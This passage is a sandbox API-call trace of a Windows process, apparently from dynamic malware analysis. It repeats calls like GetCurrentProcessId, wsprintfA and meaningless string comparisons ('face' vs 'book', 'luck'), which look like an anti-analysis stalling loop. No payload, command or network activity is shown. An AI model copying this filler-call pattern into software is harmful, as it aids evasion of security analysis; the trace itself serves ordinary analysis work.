param_1=0x36fcb3, param_2="%X%P" | out: param_1="934P") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] lstrlenA (lpString="just string") returned 11 [0041.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.633] GetLastError () returned 0x57 [0041.633] GetCurrentProcess () returned 0xffffffff [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="979P") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="97AP") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] lstrlenA (lpString="just string") returned 11 [0041.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.634] GetLastError () returned 0x57 [0041.634] GetCurrentProcess () returned 0xffffffff [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="983P") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="984P") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] lstrlenA (lpString="just string") returned 11 [0041.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.634] GetLastError () returned 0x57 [0041.634] lstrlenA (lpString="just string") returned 11 [0041.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.634] GetLastError () returned 0x57 [0041.634] GetLastError () returned 0x57 [0041.634] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcess () returned 0xffffffff [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="9FAP") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcess () returned 0xffffffff [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="9FBP") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="9FCP") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] lstrlenA (lpString="just string") returned 11 [0041.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.634] GetLastError () returned 0x57 [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="A1AP") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] lstrlenA (lpString="just string") returned 11 [0041.634] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.634] GetLastError () returned 0x57 [0041.634] GetLastError () returned 0x57 [0041.634] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="A38P") returned 4 [0041.634] SetLastError (dwErrCode=0x57) [0041.634] GetCurrentProcessId () returned 0x81c [0041.634] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] lstrlenA (lpString="just string") returned 11 [0041.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.635] GetLastError () returned 0x57 [0041.635] GetLastError () returned 0x57 [0041.635] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcess () returned 0xffffffff [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="A4AP") returned 4 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcess () returned 0xffffffff [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="A4BP") returned 4 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="A4CP") returned 4 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] lstrlenA (lpString="just string") returned 11 [0041.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.635] GetLastError () returned 0x57 [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="AC4P") returned 4 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] lstrlenA (lpString="just string") returned 11 [0041.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.635] GetLastError () returned 0x57 [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] lstrlenA (lpString="just string") returned 11 [0041.635] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.635] GetLastError () returned 0x57 [0041.635] GetLastError () returned 0x57 [0041.635] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcess () returned 0xffffffff [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="AD6P") returned 4 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetCurrentProcess () returned 0xffffffff [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="AD7P") returned 4 [0041.635] SetLastError (dwErrCode=0x57) [0041.635] GetCurrentProcessId () returned 0x81c [0041.635] GetLastError () returned 0x57 [0041.635] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="AD8P") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] lstrlenA (lpString="just string") returned 11 [0041.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.636] GetLastError () returned 0x57 [0041.636] GetLastError () returned 0x57 [0041.636] GetCurrentProcess () returned 0xffffffff [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B09P") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B0AP") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] lstrlenA (lpString="just string") returned 11 [0041.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.636] GetLastError () returned 0x57 [0041.636] GetLastError () returned 0x57 [0041.636] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcess () returned 0xffffffff [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B3AP") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcess () returned 0xffffffff [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B3BP") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B3CP") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] lstrlenA (lpString="just string") returned 11 [0041.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.636] GetLastError () returned 0x57 [0041.636] GetCurrentProcess () returned 0xffffffff [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B6DP") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetLastError () returned 0x57 [0041.636] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="B6EP") returned 4 [0041.636] SetLastError (dwErrCode=0x57) [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] GetCurrentProcessId () returned 0x81c [0041.636] lstrlenA (lpString="just string") returned 11 [0041.636] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetLastError () returned 0x57 [0041.637] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="BAAP") returned 4 [0041.637] SetLastError (dwErrCode=0x57) [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetLastError () returned 0x57 [0041.637] GetCurrentProcess () returned 0xffffffff [0041.637] GetLastError () returned 0x57 [0041.637] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="BF9P") returned 4 [0041.637] SetLastError (dwErrCode=0x57) [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetLastError () returned 0x57 [0041.637] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="BFAP") returned 4 [0041.637] SetLastError (dwErrCode=0x57) [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.637] GetLastError () returned 0x57 [0041.637] GetLastError () returned 0x57 [0041.637] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="CF4P") returned 4 [0041.637] SetLastError (dwErrCode=0x57) [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] GetCurrentProcessId () returned 0x81c [0041.637] lstrlenA (lpString="just string") returned 11 [0041.637] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] GetLastError () returned 0x57 [0041.638] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.638] SetLastError (dwErrCode=0x57) [0041.638] GetCurrentProcess () returned 0xffffffff [0041.638] GetLastError () returned 0x57 [0041.638] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="D7EP") returned 4 [0041.638] SetLastError (dwErrCode=0x57) [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcess () returned 0xffffffff [0041.638] GetLastError () returned 0x57 [0041.638] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="D7FP") returned 4 [0041.638] SetLastError (dwErrCode=0x57) [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetLastError () returned 0x57 [0041.638] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="D80P") returned 4 [0041.638] SetLastError (dwErrCode=0x57) [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] lstrlenA (lpString="just string") returned 11 [0041.638] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.638] GetLastError () returned 0x57 [0041.638] GetLastError () returned 0x57 [0041.638] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="E70P") returned 4 [0041.638] SetLastError (dwErrCode=0x57) [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.638] GetCurrentProcessId () returned 0x81c [0041.639] lstrlenA (lpString="just string") returned 11 [0041.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.639] GetLastError () returned 0x57 [0041.639] GetLastError () returned 0x57 [0041.639] GetLastError () returned 0x57 [0041.639] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcess () returned 0xffffffff [0041.639] GetLastError () returned 0x57 [0041.639] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="EFAP") returned 4 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcess () returned 0xffffffff [0041.639] GetLastError () returned 0x57 [0041.639] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="EFBP") returned 4 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetLastError () returned 0x57 [0041.639] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="EFCP") returned 4 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] lstrlenA (lpString="just string") returned 11 [0041.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.639] GetLastError () returned 0x57 [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] lstrlenA (lpString="just string") returned 11 [0041.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.639] GetLastError () returned 0x57 [0041.639] lstrlenA (lpString="just string") returned 11 [0041.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.639] GetLastError () returned 0x57 [0041.639] GetLastError () returned 0x57 [0041.639] GetLastError () returned 0x57 [0041.639] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcess () returned 0xffffffff [0041.639] GetLastError () returned 0x57 [0041.639] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="FC2P") returned 4 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcess () returned 0xffffffff [0041.639] GetLastError () returned 0x57 [0041.639] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="FC3P") returned 4 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetLastError () returned 0x57 [0041.639] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="FC4P") returned 4 [0041.639] SetLastError (dwErrCode=0x57) [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] GetCurrentProcessId () returned 0x81c [0041.639] lstrlenA (lpString="just string") returned 11 [0041.639] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetLastError () returned 0x57 [0041.640] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.640] SetLastError (dwErrCode=0x57) [0041.640] GetCurrentProcess () returned 0xffffffff [0041.640] GetLastError () returned 0x57 [0041.640] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1058P") returned 5 [0041.640] SetLastError (dwErrCode=0x57) [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcess () returned 0xffffffff [0041.640] GetLastError () returned 0x57 [0041.640] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1059P") returned 5 [0041.640] SetLastError (dwErrCode=0x57) [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetLastError () returned 0x57 [0041.640] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="105AP") returned 5 [0041.640] SetLastError (dwErrCode=0x57) [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] GetCurrentProcessId () returned 0x81c [0041.640] lstrlenA (lpString="just string") returned 11 [0041.640] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.640] GetLastError () returned 0x57 [0041.640] GetLastError () returned 0x57 [0041.640] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.640] SetLastError (dwErrCode=0x57) [0041.640] GetCurrentProcess () returned 0xffffffff [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="10EEP") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcess () returned 0xffffffff [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="10EFP") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="10F0P") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] lstrlenA (lpString="just string") returned 11 [0041.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.641] GetLastError () returned 0x57 [0041.641] GetLastError () returned 0x57 [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] lstrlenA (lpString="just string") returned 11 [0041.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.641] GetLastError () returned 0x57 [0041.641] lstrlenA (lpString="just string") returned 11 [0041.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.641] GetLastError () returned 0x57 [0041.641] GetLastError () returned 0x57 [0041.641] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcess () returned 0xffffffff [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1198P") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcess () returned 0xffffffff [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1199P") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="119AP") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] lstrlenA (lpString="just string") returned 11 [0041.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.641] GetLastError () returned 0x57 [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] lstrlenA (lpString="just string") returned 11 [0041.641] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.641] GetLastError () returned 0x57 [0041.641] GetLastError () returned 0x57 [0041.641] GetLastError () returned 0x57 [0041.641] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="11E0P") returned 5 [0041.641] SetLastError (dwErrCode=0x57) [0041.641] GetCurrentProcessId () returned 0x81c [0041.641] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] lstrlenA (lpString="just string") returned 11 [0041.642] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.642] GetLastError () returned 0x57 [0041.642] GetLastError () returned 0x57 [0041.642] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcess () returned 0xffffffff [0041.642] GetLastError () returned 0x57 [0041.642] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="11FCP") returned 5 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcess () returned 0xffffffff [0041.642] GetLastError () returned 0x57 [0041.642] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="11FDP") returned 5 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetLastError () returned 0x57 [0041.642] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="11FEP") returned 5 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] lstrlenA (lpString="just string") returned 11 [0041.642] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.642] GetLastError () returned 0x57 [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] lstrlenA (lpString="just string") returned 11 [0041.642] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.642] GetLastError () returned 0x57 [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] lstrlenA (lpString="just string") returned 11 [0041.642] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.642] GetLastError () returned 0x57 [0041.642] lstrlenA (lpString="just string") returned 11 [0041.642] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.642] GetLastError () returned 0x57 [0041.642] GetLastError () returned 0x57 [0041.642] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcess () returned 0xffffffff [0041.642] GetLastError () returned 0x57 [0041.642] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="12BAP") returned 5 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetCurrentProcess () returned 0xffffffff [0041.642] GetLastError () returned 0x57 [0041.642] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="12BBP") returned 5 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcessId () returned 0x81c [0041.642] GetLastError () returned 0x57 [0041.642] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="12BCP") returned 5 [0041.642] SetLastError (dwErrCode=0x57) [0041.642] GetCurrentProcessId () returned 0x81c 